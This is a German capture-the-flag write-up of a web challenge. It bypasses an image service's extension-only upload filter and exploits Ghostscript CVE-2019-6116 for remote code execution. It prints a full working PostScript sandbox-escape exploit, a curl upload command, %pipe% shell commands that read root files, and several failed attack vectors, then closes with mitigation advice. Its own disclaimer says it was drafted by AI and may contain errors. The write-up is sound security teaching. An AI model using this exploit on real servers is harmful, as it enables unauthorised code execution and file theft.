Deutschlands Bester Hacker - PixelProbe (Web) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie Web
Punkte 498
Angriffsklasse Content-Type-Bypass → Ghostscript SandboxSandboxingFührt unbekannten Code isoliert aus, um Auswirkungen und Verhalten zu beobachten. Escape (CVE-2019-6116) → RCERemote Code ExecutionSchwachstelle oder Angriff, der Code auf einem entfernten Ziel ausführen lässt.
Flag DBH{S0met1mes-Gh0sTs-ar3-g00d-aT-sCr1pT1nG_XXX}

Die Challenge

„PixelProbe“ ist ein Image-Dimension-Service (v1.2.1-prod), der hochgeladene Bilder analysiert und Dimensionen, Dateigröße und Format zurückgibt. Eine Warnung sagt:

PostScript and PDF uploads have been disabled since v1.2 for security reasons.

Der Server läuft auf PHP/7.0.33 auf Debian 9 — alte Software mit bekannten Schwachstellen in ImageMagick und Ghostscript. Genau das ist der AngriffspfadAttack PathAbfolge aus Schwachstellen, Berechtigungen und Systembeziehungen, die ein Angriff ausnutzen kann..

Aufklärung

Die „Deaktivierung“ von PostScript und PDF prüft nur die Dateiendung (.ps, .pdf → abgelehnt), nicht den Datei-Inhalt. ImageMagick dagegen erkennt Formate anhand der Magic Bytes.

Test: PDF-Inhalt als .png hochladen.

cat > exploit.pdf.png << 'EOF'
%PDF-1.4
1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj
2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj
3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj
...
%%EOF
EOF

curl -F 'file_upload=@exploit.pdf.png;type=image/png' <URL>/index.php

Ergebnis: 612 x 792 px — US Letter. Ghostscript hat die PDF also verarbeitet.

Ebenso funktioniert SVG-Inhalt als .png:

<svg viewBox="0 0 800 400" xmlns="http://www.w3.org/2000/svg">
  <rect width="800" height="400" fill="red"/>
</svg>

Ergebnis: 800 x 400 px — die viewBox-Dimensionen werden gelesen. Der Extension-Check ist damit vollständig umgangen.

Die Schwachstelle

Debian 9 enthält Ghostscript ≤ 9.26, anfällig für CVE-2019-6116. Der ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt. nutzt eine Type-Confusion in .actual_pdfpaintproc, um an den .forceput-Operator zu gelangen und damit die -dSAFER-Sandbox komplett zu deaktivieren.

Der Exploit als PostScript-Datei, gespeichert als .png:

%!PS
% CVE-2019-6116 - GhostScript Sandbox Bypass
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def

/exploit {
    /forceput exch def
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
    save restore
    stop
} def

errordict /typecheck {
    /typecount typecount 1 add def
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { quit } if
} put

<<
    /typecount      0
    /PDFfile        { currentfile }
    /q              { }
    /oget           { pop pop 0 }
    /pdfemptycount  { }
    /gput           { }
    /resolvestream  { }
    /pdfopdict      { }
    /.pdfruncontext { 0 1 mark }
    /pdfdict        { true }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop

% Sandbox ist deaktiviert — beliebige Befehle möglich
(%pipe%cat /root/flag.txt > /var/www/html/the_flag.txt) (w) file closefile
quit

Der Angriff

Der vollständige Ablauf:

PostScript als .png hochladen
        │
        ▼
Extension-Check: .png → erlaubt
        │
        ▼
ImageMagick identify: erkennt %!PS Magic Bytes → Ghostscript Delegate
        │
        ▼
Ghostscript führt PostScript aus:
  1. .actual_pdfpaintproc → Type-Confusion → .forceput
  2. SAFER = false, alle Dateizugriffe erlaubt
  3. %pipe% → Shell-Command: cat /root/flag.txt > Webroot
        │
        ▼
Flag unter /the_flag.txt abrufbar

Da der Pfad der Flag zunächst unbekannt war, habe ich mit derselben Primitive erst das Dateisystem durchsucht:

(%pipe%find / -name "*flag*" -type f 2>/dev/null > /var/www/html/find_flag.txt) (w) file closefile

Das Ergebnis zeigte unter anderem /root/flag.txt und /run/flag. Beide enthalten dieselbe Flag.

Fehlversuche. Diese Vektoren führten nicht zum Ziel:

Vektor Problem
SVG XXEXML External Entity AttackMissbraucht unsicher konfigurierte XML-Parser zum Lesen von Daten oder Ausführen interner Anfragen. (<!ENTITY>) ImageMagick-SVG-Parser verarbeitet keine externen Entities
SVG xlink:href="text:/etc/passwd" Dimensionen kommen aus viewBox, nicht aus Content
ImageTragick MVG-Payloads MVG-Format wird nicht erkannt
PDF mit PostScript XObject (/Subtype /PS) Ghostscript ignoriert PS XObjects bei identify
Einfacher PostScript-Exploit (userdict /setpagedevice undef) Sandbox blockiert den naiven Ansatz
CVE-2022-44268 (PNG tEXt profile) Dateigröße = Input-Größe, kein Leak möglich
Filename-InjectionInjection AttackManipuliert Interpreter oder Anwendungen durch eingeschleuste Befehle oder Daten. ($(id)) Dateiname wird HTML-escaped, nicht in der Shell ausgeführt

Die Flag

DBH{S0met1mes-Gh0sTs-ar3-g00d-aT-sCr1pT1nG_XXX}

Was ich mitnehme

  • Extension-basierte Formatprüfung ist wirkungslos, wenn dahinter eine Komponente content-basiert erkennt. ImageMagick liest Magic Bytes — die Dateiendung ist für den Delegate-Aufruf irrelevant.

  • Alte Ghostscript-Versionen (≤ 9.26) sind trivial ausbeutbar über CVE-2019-6116. Ein Blick auf Server-Header und Distribution reicht oft, um die Version einzugrenzen.

  • Die sicherste Mitigation ist eine policy.xml mit content-basierter Coder-Beschränkung:

    <policy domain="coder" rights="none" pattern="{PS,PS2,PS3,EPS,PDF,XPS}" />
  • Oder besser: Ghostscript gar nicht erst als Delegate zulassen, wenn nur Rasterformate benötigt werden.